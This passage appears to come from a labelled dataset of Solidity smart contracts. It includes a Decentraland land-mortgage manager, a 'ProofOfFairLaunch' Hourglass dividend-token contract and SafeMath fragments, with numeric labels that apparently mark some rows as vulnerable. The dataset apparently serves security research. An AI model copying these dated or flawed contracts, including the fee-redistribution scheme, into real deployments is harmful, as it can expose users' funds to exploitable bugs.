erc20Proxy.emitTransfer(address(0), erc20Store.team(), teamAvailable);
return true;
}
return false;
}
function releasePartner()
public
returns (bool success)
{
uint256 partnerAvailable = erc20Store.availableMap(erc20Store.partner());
if (partnerAvailable > 0) {
erc20Store.addBalance(erc20Store.partner(), partnerAvailable);
erc20Store.setTotalSupply(erc20Store.totalSupply() + partnerAvailable);
erc20Store.reduceAvailable(erc20Store.partner(), partnerAvailable);
erc20Proxy.emitTransfer(address(0), erc20Store.partner(), partnerAvailable);
return true;
}
return false;
}
event ServicePublished(bytes32 _lockId, address _sender, uint256 _value, bool _result);
event ServiceConfirmed(bytes32 _lockId, address _sender, address _to, uint256 _value, bool _result);
event ServiceCanceled(bytes32 _lockId, address _sender, uint256 _value);
event PrimaryChanged(address _primary, bool opt);
} | 1 | 2,155 |
pragma solidity ^0.4.24;
contract Token {
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
function approve(address _spender, uint256 _value) public returns (bool success);
function increaseApproval (address _spender, uint _addedValue) public returns (bool success);
function balanceOf(address _owner) public view returns (uint256 balance);
}
contract Ownable {
address public owner;
modifier onlyOwner() {
require(msg.sender == owner, "Sender is not the owner");
_;
}
constructor() public {
owner = msg.sender;
}
function transferTo(address _to) public onlyOwner returns (bool) {
require(_to != address(0), "Can't transfer to 0x0");
owner = _to;
return true;
}
}
contract Oracle is Ownable {
uint256 public constant VERSION = 4;
event NewSymbol(bytes32 _currency);
mapping(bytes32 => bool) public supported;
bytes32[] public currencies;
function url() public view returns (string);
function getRate(bytes32 symbol, bytes data) public returns (uint256 rate, uint256 decimals);
function addCurrency(string ticker) public onlyOwner returns (bool) {
bytes32 currency = encodeCurrency(ticker);
NewSymbol(currency);
supported[currency] = true;
currencies.push(currency);
return true;
}
function encodeCurrency(string currency) public pure returns (bytes32 o) {
require(bytes(currency).length <= 32);
assembly {
o := mload(add(currency, 32))
}
}
function decodeCurrency(bytes32 b) public pure returns (string o) {
uint256 ns = 256;
while (true) { if (ns == 0 || (b<<ns-8) != 0) break; ns -= 8; }
assembly {
ns := div(ns, 8)
o := mload(0x40)
mstore(0x40, add(o, and(add(add(ns, 0x20), 0x1f), not(0x1f))))
mstore(o, ns)
mstore(add(o, 32), b)
}
}
}
contract Engine {
uint256 public VERSION;
string public VERSION_NAME;
enum Status { initial, lent, paid, destroyed }
struct Approbation {
bool approved;
bytes data;
bytes32 checksum;
}
function getTotalLoans() public view returns (uint256);
function getOracle(uint index) public view returns (Oracle);
function getBorrower(uint index) public view returns (address);
function getCosigner(uint index) public view returns (address);
function ownerOf(uint256) public view returns (address owner);
function getCreator(uint index) public view returns (address);
function getAmount(uint index) public view returns (uint256);
function getPaid(uint index) public view returns (uint256);
function getDueTime(uint index) public view returns (uint256);
function getApprobation(uint index, address _address) public view returns (bool);
function getStatus(uint index) public view returns (Status);
function isApproved(uint index) public view returns (bool);
function getPendingAmount(uint index) public returns (uint256);
function getCurrency(uint index) public view returns (bytes32);
function cosign(uint index, uint256 cost) external returns (bool);
function approveLoan(uint index) public returns (bool);
function transfer(address to, uint256 index) public returns (bool);
function takeOwnership(uint256 index) public returns (bool);
function withdrawal(uint index, address to, uint256 amount) public returns (bool);
function identifierToIndex(bytes32 signature) public view returns (uint256);
}
contract Cosigner {
uint256 public constant VERSION = 2;
function url() external view returns (string);
function cost(address engine, uint256 index, bytes data, bytes oracleData) external view returns (uint256);
function requestCosign(Engine engine, uint256 index, bytes data, bytes oracleData) public returns (bool);
function claim(address engine, uint256 index, bytes oracleData) external returns (bool);
}
library SafeMath {
function add(uint256 x, uint256 y) internal pure returns(uint256) {
uint256 z = x + y;
require((z >= x) && (z >= y));
return z;
}
function sub(uint256 x, uint256 y) internal pure returns(uint256) {
require(x >= y);
uint256 z = x - y;
return z;
}
function mult(uint256 x, uint256 y) internal pure returns(uint256) {
uint256 z = x * y;
require((x == 0)||(z/x == y));
return z;
}
}
contract SafeWithdraw is Ownable {
function withdrawTokens(Token token, address to, uint256 amountOrId) external onlyOwner returns (bool) {
require(to != address(0));
return token.transfer(to, amountOrId);
}
}
contract BytesUtils {
function readBytes32(bytes data, uint256 index) internal pure returns (bytes32 o) {
require(data.length / 32 > index);
assembly {
o := mload(add(data, add(32, mul(32, index))))
}
}
}
contract TokenConverter {
address public constant ETH_ADDRESS = 0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee;
function getReturn(Token _fromToken, Token _toToken, uint256 _fromAmount) external view returns (uint256 amount);
function convert(Token _fromToken, Token _toToken, uint256 _fromAmount, uint256 _minReturn) external payable returns (uint256 amount);
}
interface IERC721Receiver {
function onERC721Received(
address _oldOwner,
uint256 _tokenId,
bytes _userData
) external returns (bytes4);
}
contract ERC721Base {
using SafeMath for uint256;
uint256 private _count;
mapping(uint256 => address) private _holderOf;
mapping(address => uint256[]) private _assetsOf;
mapping(address => mapping(address => bool)) private _operators;
mapping(uint256 => address) private _approval;
mapping(uint256 => uint256) private _indexOfAsset;
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
function totalSupply() external view returns (uint256) {
return _totalSupply();
}
function _totalSupply() internal view returns (uint256) {
return _count;
}
function ownerOf(uint256 assetId) external view returns (address) {
return _ownerOf(assetId);
}
function _ownerOf(uint256 assetId) internal view returns (address) {
return _holderOf[assetId];
}
function balanceOf(address owner) external view returns (uint256) {
return _balanceOf(owner);
}
function _balanceOf(address owner) internal view returns (uint256) {
return _assetsOf[owner].length;
}
function isApprovedForAll(address operator, address assetHolder)
external view returns (bool)
{
return _isApprovedForAll(operator, assetHolder);
}
function _isApprovedForAll(address operator, address assetHolder)
internal view returns (bool)
{
return _operators[assetHolder][operator];
}
function getApprovedAddress(uint256 assetId) external view returns (address) {
return _getApprovedAddress(assetId);
}
function _getApprovedAddress(uint256 assetId) internal view returns (address) {
return _approval[assetId];
}
function isAuthorized(address operator, uint256 assetId) external view returns (bool) {
return _isAuthorized(operator, assetId);
}
function _isAuthorized(address operator, uint256 assetId) internal view returns (bool)
{
require(operator != 0, "Operator can't be 0");
address owner = _ownerOf(assetId);
if (operator == owner) {
return true;
}
return _isApprovedForAll(operator, owner) || _getApprovedAddress(assetId) == operator;
}
function setApprovalForAll(address operator, bool authorized) external {
return _setApprovalForAll(operator, authorized);
}
function _setApprovalForAll(address operator, bool authorized) internal {
if (authorized) {
_addAuthorization(operator, msg.sender);
} else {
_clearAuthorization(operator, msg.sender);
}
emit ApprovalForAll(operator, msg.sender, authorized);
}
function approve(address operator, uint256 assetId) external {
address holder = _ownerOf(assetId);
require(msg.sender == holder || _isApprovedForAll(msg.sender, holder));
require(operator != holder);
if (_getApprovedAddress(assetId) != operator) {
_approval[assetId] = operator;
emit Approval(holder, operator, assetId);
}
}
function _addAuthorization(address operator, address holder) private {
_operators[holder][operator] = true;
}
function _clearAuthorization(address operator, address holder) private {
_operators[holder][operator] = false;
}
function _addAssetTo(address to, uint256 assetId) internal {
_holderOf[assetId] = to;
uint256 length = _balanceOf(to);
_assetsOf[to].push(assetId);
_indexOfAsset[assetId] = length;
_count = _count.add(1);
}
function _removeAssetFrom(address from, uint256 assetId) internal {
uint256 assetIndex = _indexOfAsset[assetId];
uint256 lastAssetIndex = _balanceOf(from).sub(1);
uint256 lastAssetId = _assetsOf[from][lastAssetIndex];
_holderOf[assetId] = 0;
_assetsOf[from][assetIndex] = lastAssetId;
_assetsOf[from][lastAssetIndex] = 0;
_assetsOf[from].length--;
if (_assetsOf[from].length == 0) {
delete _assetsOf[from];
}
_indexOfAsset[assetId] = 0;
_indexOfAsset[lastAssetId] = assetIndex;
_count = _count.sub(1);
}
function _clearApproval(address holder, uint256 assetId) internal {
if (_ownerOf(assetId) == holder && _approval[assetId] != 0) {
_approval[assetId] = 0;
emit Approval(holder, 0, assetId);
}
}
function _generate(uint256 assetId, address beneficiary) internal {
require(_holderOf[assetId] == 0);
_addAssetTo(beneficiary, assetId);
emit Transfer(0x0, beneficiary, assetId);
}
function _destroy(uint256 assetId) internal {
address holder = _holderOf[assetId];
require(holder != 0);
_removeAssetFrom(holder, assetId);
emit Transfer(holder, 0x0, assetId);
}
modifier onlyHolder(uint256 assetId) {
require(_ownerOf(assetId) == msg.sender, "Not holder");
_;
}
modifier onlyAuthorized(uint256 assetId) {
require(_isAuthorized(msg.sender, assetId), "Not authorized");
_;
}
modifier isCurrentOwner(address from, uint256 assetId) {
require(_ownerOf(assetId) == from, "Not current owner");
_;
}
function safeTransferFrom(address from, address to, uint256 assetId) external {
return _doTransferFrom(from, to, assetId, "", true);
}
function safeTransferFrom(address from, address to, uint256 assetId, bytes userData) external {
return _doTransferFrom(from, to, assetId, userData, true);
}
function transferFrom(address from, address to, uint256 assetId) external {
return _doTransferFrom(from, to, assetId, "", false);
}
function _doTransferFrom(
address from,
address to,
uint256 assetId,
bytes userData,
bool doCheck
)
onlyAuthorized(assetId)
internal
{
_moveToken(from, to, assetId, userData, doCheck);
}
function _moveToken(
address from,
address to,
uint256 assetId,
bytes userData,
bool doCheck
)
isCurrentOwner(from, assetId)
internal
{
address holder = _holderOf[assetId];
_removeAssetFrom(holder, assetId);
_clearApproval(holder, assetId);
_addAssetTo(to, assetId);
if (doCheck && _isContract(to)) {
bytes4 ERC721_RECEIVED = bytes4(0xf0b9e5ba);
require(
IERC721Receiver(to).onERC721Received(
holder, assetId, userData
) == ERC721_RECEIVED
, "Contract onERC721Received failed");
}
emit Transfer(holder, to, assetId);
}
function supportsInterface(bytes4 _interfaceID) external pure returns (bool) {
if (_interfaceID == 0xffffffff) {
return false;
}
return _interfaceID == 0x01ffc9a7 || _interfaceID == 0x80ac58cd;
}
function _isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract LandMarket {
struct Auction {
bytes32 id;
address seller;
uint256 price;
uint256 expiresAt;
}
mapping (uint256 => Auction) public auctionByAssetId;
function executeOrder(uint256 assetId, uint256 price) public;
}
contract Land {
function updateLandData(int x, int y, string data) public;
function decodeTokenId(uint value) view public returns (int, int);
function safeTransferFrom(address from, address to, uint256 assetId) public;
function ownerOf(uint256 landID) public view returns (address);
}
contract MortgageManager is Cosigner, ERC721Base, SafeWithdraw, BytesUtils {
using SafeMath for uint256;
uint256 constant internal PRECISION = (10**18);
uint256 constant internal RCN_DECIMALS = 18;
bytes32 public constant MANA_CURRENCY = 0x4d414e4100000000000000000000000000000000000000000000000000000000;
uint256 public constant REQUIRED_ALLOWANCE = 1000000000 * 10**18;
function name() public pure returns (string _name) {
_name = "Decentraland RCN Mortgage";
}
function symbol() public pure returns (string _symbol) {
_symbol = "LAND-RCN-Mortgage";
}
event RequestedMortgage(uint256 _id, address _borrower, address _engine, uint256 _loanId, uint256 _landId, uint256 _deposit, address _tokenConverter);
event StartedMortgage(uint256 _id);
event CanceledMortgage(address _from, uint256 _id);
event PaidMortgage(address _from, uint256 _id);
event DefaultedMortgage(uint256 _id);
event UpdatedLandData(address _updater, uint256 _parcel, string _data);
event SetCreator(address _creator, bool _status);
Token public rcn;
Token public mana;
Land public land;
LandMarket public landMarket;
constructor(Token _rcn, Token _mana, Land _land, LandMarket _landMarket) public {
rcn = _rcn;
mana = _mana;
land = _land;
landMarket = _landMarket;
mortgages.length++;
}
enum Status { Pending, Ongoing, Canceled, Paid, Defaulted }
struct Mortgage {
address owner;
Engine engine;
uint256 loanId;
uint256 deposit;
uint256 landId;
uint256 landCost;
Status status;
TokenConverter tokenConverter;
}
uint256 internal flagReceiveLand;
Mortgage[] public mortgages;
mapping(address => bool) public creators;
mapping(uint256 => uint256) public mortgageByLandId;
mapping(address => mapping(uint256 => uint256)) public loanToLiability;
function url() external view returns (string) {
return "";
}
function setCreator(address creator, bool authorized) external onlyOwner returns (bool) {
emit SetCreator(creator, authorized);
creators[creator] = authorized;
return true;
}
function cost(address, uint256, bytes, bytes) external view returns (uint256) {
return 0;
}
function requestMortgage(
Engine engine,
bytes32 loanIdentifier,
uint256 deposit,
uint256 landId,
TokenConverter tokenConverter
) external returns (uint256 id) {
return requestMortgageId(engine, engine.identifierToIndex(loanIdentifier), deposit, landId, tokenConverter);
}
function requestMortgageId(
Engine engine,
uint256 loanId,
uint256 deposit,
uint256 landId,
TokenConverter tokenConverter
) public returns (uint256 id) {
require(engine.getCurrency(loanId) == MANA_CURRENCY, "Loan currency is not MANA");
address borrower = engine.getBorrower(loanId);
require(engine.getStatus(loanId) == Engine.Status.initial, "Loan status is not inital");
require(msg.sender == engine.getBorrower(loanId) ||
(msg.sender == engine.getCreator(loanId) && creators[msg.sender]),
"Creator should be borrower or authorized");
require(engine.isApproved(loanId), "Loan is not approved");
require(rcn.allowance(borrower, this) >= REQUIRED_ALLOWANCE, "Manager cannot handle borrower's funds");
require(tokenConverter != address(0), "Token converter not defined");
require(loanToLiability[engine][loanId] == 0, "Liability for loan already exists");
uint256 landCost;
(, , landCost, ) = landMarket.auctionByAssetId(landId);
uint256 loanAmount = engine.getAmount(loanId);
require((loanAmount + deposit) >= ((landCost / 10) * 11), "Not enought total amount");
require(mana.transferFrom(msg.sender, this, deposit), "Error pulling mana");
id = mortgages.push(Mortgage({
owner: borrower,
engine: engine,
loanId: loanId,
deposit: deposit,
landId: landId,
landCost: landCost,
status: Status.Pending,
tokenConverter: tokenConverter
})) - 1;
loanToLiability[engine][loanId] = id;
emit RequestedMortgage({
_id: id,
_borrower: borrower,
_engine: engine,
_loanId: loanId,
_landId: landId,
_deposit: deposit,
_tokenConverter: tokenConverter
});
}
function cancelMortgage(uint256 id) external returns (bool) {
Mortgage storage mortgage = mortgages[id];
require(msg.sender == mortgage.owner, "Only the owner can cancel the mortgage");
require(mortgage.status == Status.Pending, "The mortgage is not pending");
mortgage.status = Status.Canceled;
require(mana.transfer(msg.sender, mortgage.deposit), "Error returning MANA");
emit CanceledMortgage(msg.sender, id);
return true;
}
function requestCosign(Engine engine, uint256 index, bytes data, bytes oracleData) public returns (bool) {
Mortgage storage mortgage = mortgages[uint256(readBytes32(data, 0))];
require(mortgage.engine == engine, "Engine does not match");
require(mortgage.loanId == index, "Loan id does not match");
require(mortgage.status == Status.Pending, "Mortgage is not pending");
mortgage.status = Status.Ongoing;
_generate(uint256(readBytes32(data, 0)), mortgage.owner);
uint256 loanAmount = convertRate(engine.getOracle(index), engine.getCurrency(index), oracleData, engine.getAmount(index));
require(rcn.transferFrom(mortgage.owner, this, loanAmount), "Error pulling RCN from borrower");
uint256 boughtMana = convertSafe(mortgage.tokenConverter, rcn, mana, loanAmount);
delete mortgage.tokenConverter;
uint256 currentLandCost;
(, , currentLandCost, ) = landMarket.auctionByAssetId(mortgage.landId);
require(currentLandCost <= mortgage.landCost, "Parcel is more expensive than expected");
require(mana.approve(landMarket, currentLandCost));
flagReceiveLand = mortgage.landId;
landMarket.executeOrder(mortgage.landId, currentLandCost);
require(mana.approve(landMarket, 0));
require(flagReceiveLand == 0, "ERC721 callback not called");
require(land.ownerOf(mortgage.landId) == address(this), "Error buying parcel");
uint256 totalMana = boughtMana.add(mortgage.deposit);
require(mana.transfer(mortgage.owner, totalMana.sub(currentLandCost)), "Error returning MANA");
require(mortgage.engine.cosign(index, 0), "Error performing cosign");
mortgageByLandId[mortgage.landId] = uint256(readBytes32(data, 0));
emit StartedMortgage(uint256(readBytes32(data, 0)));
return true;
}
function convertSafe(
TokenConverter converter,
Token from,
Token to,
uint256 amount
) internal returns (uint256 bought) {
require(from.approve(converter, amount));
uint256 prevBalance = to.balanceOf(this);
bought = converter.convert(from, to, amount, 1);
require(to.balanceOf(this).sub(prevBalance) >= bought, "Bought amount incorrect");
require(from.approve(converter, 0));
}
function claim(address engine, uint256 loanId, bytes) external returns (bool) {
uint256 mortgageId = loanToLiability[engine][loanId];
Mortgage storage mortgage = mortgages[mortgageId];
require(mortgage.status == Status.Ongoing, "Mortgage not ongoing");
require(mortgage.loanId == loanId, "Mortgage don't match loan id");
if (mortgage.engine.getStatus(loanId) == Engine.Status.paid || mortgage.engine.getStatus(loanId) == Engine.Status.destroyed) {
require(_isAuthorized(msg.sender, mortgageId), "Sender not authorized");
mortgage.status = Status.Paid;
land.safeTransferFrom(this, msg.sender, mortgage.landId);
emit PaidMortgage(msg.sender, mortgageId);
} else if (isDefaulted(mortgage.engine, loanId)) {
require(msg.sender == mortgage.engine.ownerOf(loanId), "Sender not lender");
mortgage.status = Status.Defaulted;
land.safeTransferFrom(this, msg.sender, mortgage.landId);
emit DefaultedMortgage(mortgageId);
} else {
revert("Mortgage not defaulted/paid");
}
_destroy(mortgageId);
delete mortgageByLandId[mortgage.landId];
return true;
}
function isDefaulted(Engine engine, uint256 index) public view returns (bool) {
return engine.getStatus(index) == Engine.Status.lent &&
engine.getDueTime(index).add(7 days) <= block.timestamp;
}
function onERC721Received(uint256 _tokenId, address, bytes) external returns (bytes4) {
if (msg.sender == address(land) && flagReceiveLand == _tokenId) {
flagReceiveLand = 0;
return bytes4(keccak256("onERC721Received(address,uint256,bytes)"));
}
}
function onERC721Received(address, uint256 _tokenId, bytes) external returns (bytes4) {
if (msg.sender == address(land) && flagReceiveLand == _tokenId) {
flagReceiveLand = 0;
return bytes4(keccak256("onERC721Received(address,uint256,bytes)"));
}
}
function getData(uint256 id) public pure returns (bytes o) {
assembly {
o := mload(0x40)
mstore(0x40, add(o, and(add(add(32, 0x20), 0x1f), not(0x1f))))
mstore(o, 32)
mstore(add(o, 32), id)
}
}
function updateLandData(uint256 id, string data) external returns (bool) {
Mortgage memory mortgage = mortgages[id];
require(_isAuthorized(msg.sender, id), "Sender not authorized");
int256 x;
int256 y;
(x, y) = land.decodeTokenId(mortgage.landId);
land.updateLandData(x, y, data);
emit UpdatedLandData(msg.sender, id, data);
return true;
}
function convertRate(Oracle oracle, bytes32 currency, bytes data, uint256 amount) internal returns (uint256) {
if (oracle == address(0)) {
return amount;
} else {
uint256 rate;
uint256 decimals;
(rate, decimals) = oracle.getRate(currency, data);
require(decimals <= RCN_DECIMALS, "Decimals exceeds max decimals");
return (amount.mult(rate).mult((10**(RCN_DECIMALS-decimals)))) / PRECISION;
}
}
} | 0 | 1,736 |
pragma solidity ^0.4.20;
contract Hourglass {
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
modifier onlyStronghands() {
require(myDividends(true) > 0);
_;
}
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[keccak256(_customerAddress)]);
_;
}
modifier antiEarlyWhale(uint256 _amountOfEthereum){
address _customerAddress = msg.sender;
if( onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_ )){
require(
ambassadors_[_customerAddress] == true &&
(ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_
);
ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum);
_;
} else {
onlyAmbassadors = false;
_;
}
}
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
string public name = "ProofOfFairLaunch";
string public symbol = "POFL";
uint8 constant public decimals = 18;
uint8 constant internal dividendFee_ = 4;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
uint256 public stakingRequirement = 100e18;
mapping(address => bool) internal ambassadors_;
uint256 constant internal ambassadorMaxPurchase_ = 1 ether;
uint256 constant internal ambassadorQuota_ = .25 ether;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => uint256) internal ambassadorAccumulatedQuota_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
mapping(bytes32 => bool) public administrators;
bool public onlyAmbassadors = true;
function Hourglass()
public
{
ambassadors_[0x524Fe720F321F57645BBA5d1815b03C26D20Fb16] = true;
}
function buy(address _referredBy)
public
payable
returns(uint256)
{
purchaseTokens(msg.value, _referredBy);
}
function()
payable
public
{
purchaseTokens(msg.value, 0x0);
}
function reinvest()
onlyStronghands()
public
{
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit()
public
{
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw()
onlyStronghands()
public
{
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens)
onlyBagholders()
public
{
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyBagholders()
public
returns(bool)
{
address _customerAddress = msg.sender;
require(!onlyAmbassadors && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if(myDividends(true) > 0) withdraw();
uint256 _tokenFee = SafeMath.div(_amountOfTokens, dividendFee_);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function disableInitialStage()
onlyAdministrator()
public
{
onlyAmbassadors = false;
}
function setAdministrator(bytes32 _identifier, bool _status)
onlyAdministrator()
public
{
administrators[_identifier] = _status;
}
function setStakingRequirement(uint256 _amountOfTokens)
onlyAdministrator()
public
{
stakingRequirement = _amountOfTokens;
}
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
function totalEthereumBalance()
public
view
returns(uint)
{
return this.balance;
}
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice()
public
view
returns(uint256)
{
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ );
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice()
public
view
returns(uint256)
{
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ );
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
antiEarlyWhale(_incomingEthereum)
internal
returns(uint256)
{
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_);
uint256 _referralBonus = SafeMath.div(_undividedDividends, 3);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
if(
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement
){
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if(tokenSupply_ > 0){
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
)/(tokenPriceIncremental_)
)-(tokenSupply_)
;
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
SafeMath.sub(
(
(
(
tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18))
)-tokenPriceIncremental_
)*(tokens_ - 1e18)
),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2
)
/1e18);
return _etherReceived;
}
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 4,342 |
pragma solidity ^0.4.23;
library SafeMath{
function mul(uint256 _x, uint256 _y) internal pure returns (uint256 result){
if(_y == 0){
return 0;
}
result = _x*_y;
assert(_x == result/_y);
return result;
}
function div(uint256 _x, uint256 _y) internal pure returns (uint256 result){
result = _x / _y;
return result;
}
function add(uint256 _x, uint256 _y) internal pure returns (uint256 result){
result = _x + _y;
assert(result >= _x);
return result;
}
function sub(uint256 _x, uint256 _y) internal pure returns (uint256 result){
assert(_x >= _y);
result = _x - _y;
return result;
